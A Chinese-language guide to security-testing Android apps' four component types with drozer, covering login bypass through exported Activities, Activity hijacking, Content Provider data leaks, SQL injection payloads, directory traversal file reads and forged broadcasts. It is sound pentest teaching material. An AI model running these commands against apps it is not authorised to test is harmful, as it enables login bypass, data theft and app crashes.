Android APP-四大组件安全测试
字数 3247 2025-08-25 22:58:29
Android APP四大组件安全测试指南
一、前言
Android四大组件是Android应用开发的核心组成部分,也是安全测试的重点对象。四大组件包括:
| 组件名称 | 具体用途 |
|---|---|
| Activity | 展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互 |
| Content Provider | 数据共享组件,用于向其他组件乃至其他应用共享数据 |
| Broadcast Receiver | 通讯组件,用于在不同组件甚至不同应用中传递消息 |
| Service | 能在后台执行长期运行操作的组件,它没有UI界面,运行在宿主进程的主线程中 |
二、环境搭建
drozer安装
-
安装Python 2.7:
- 必须使用Python 2.7版本
- 安装时选择自动添加环境变量
- 验证安装:
python --version
-
安装drozer:
-
手机端安装:
- 安装drozer-agent-2.3.4.apk
- 开启端口转发功能
-
ADB配置:
- 下载ADB工具
- 执行端口转发:
adb forward tcp:31415 tcp:31415 - 若出现
error: no devices/emulators found,需开启手机开发者模式和USB调试
-
启动drozer:
- 进入Python27\Scripts目录
- 执行:
drozer.bat console connect
-
解决中文乱码:
- 修改package.py文件,添加编码设置
- 在360、362行添加字母u
三、四大组件测试
Activity组件测试
1. 越权绕过
测试步骤:
- 列出所有APP包名:
run app.package.list - 获取目标APP包名(可使用GetAPKInfo工具)
- 查询攻击面:
run app.package.attacksurface <package_name> - 查看可导出的Activity:
run app.activity.info -a <package_name> - 调用组件绕过登录:
run app.activity.start --component <package_name> <component_name>
漏洞原理:
- Activity组件默认不导出
- 若AndroidManifest.xml中设置
exported="true"或添加<intent-filter>属性,则组件可被外部调用
2. Activity劫持
测试方法:
- 安装劫持测试APP(如uihijackv2.0_sign.apk)
- 通过drozer调用劫持组件:
run app.activity.start --component <劫持app包名> <劫持组件名> - 观察被测APP界面是否被覆盖
3. 拒绝服务攻击
测试方法:
- 查找暴露的Activity组件
- 直接调用组件,观察是否导致程序崩溃
- 典型表现:程序崩溃、已停止运行等
Content Provider组件测试
1. 信息泄露
测试步骤:
- 查询Provider攻击面:
run app.provider.info -a <package_name> - 查找URI:
run app.provider.finduri <package_name> - 扫描可访问URI:
run scanner.provider.finduris -a <package_name> - 访问URI获取数据:
run app.provider.query <uri> --vertical
2. SQL注入
测试方法:
- 测试URI是否存在注入:
run app.provider.query <uri> --projection "'" - 使用扫描模块:
run scanner.provider.injection -a <package_name> - 利用注入列出数据表:
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--" - 查询特定表数据:
run app.provider.query <uri> --projection "* FROM <table_name>;--"
3. 目录遍历
测试方法:
- 扫描目录遍历漏洞:
run scanner.provider.traversal -a <package_name> - 读取文件:
run app.provider.read <uri>/etc/hosts - 下载文件:
run app.provider.download <uri> <本地保存路径>
Broadcast Receiver组件测试
1. 拒绝服务
测试步骤:
- 查看Broadcast攻击面:
run app.service.info -a <package_name> - 通过jadx反编译查找action名
- 发送恶意广播:
run app.broadcast.send --action <action_name> - 观察APP是否崩溃
2. 消息伪造
测试方法:
- 反编译APK分析Broadcast Receiver代码
- 确定所需参数
- 构造恶意广播:
run app.broadcast.send --action <action_name> --extra <参数类型> <参数名> <参数值>
Service组件测试
主要漏洞类型
- 权限提升
- Service劫持
- 消息伪造
- 拒绝服务
测试方法:
- 通过drozer查看Service信息:
run app.service.info -a <package_name> - 启动/停止Service:
run app.service.start/stop <参数> - 发送恶意消息攻击Service
四、扩展知识点
ADB常用命令
# 查看默认日志
adb logcat
# 带时间的日志
adb logcat -v time
# 按级别过滤日志
adb logcat *:E
# 保存日志到文件
adb logcat -v time > D:\log.txt
# 监听特定包名日志
adb logcat | grep <package_name>
drozer常用模块
| 模块名 | 功能 |
|---|---|
| app.activity.forintent | 通过intent查找activity |
| app.activity.info | 获取activities信息 |
| app.activity.start | 开启Activity |
| app.broadcast.info | 获取broadcast receivers信息 |
| app.broadcast.send | 发送广播 |
| app.package.attacksurface | 确定包的可攻击面 |
| app.package.info | 获取已安装包信息 |
| app.package.list | 列出已安装程序包 |
| app.provider.columns | 展示content provider列 |
| app.provider.delete | 删除content provider内容 |
| app.provider.download | 下载content provider内容 |
| app.provider.query | 查询content provider |
| app.service.info | 获取services信息 |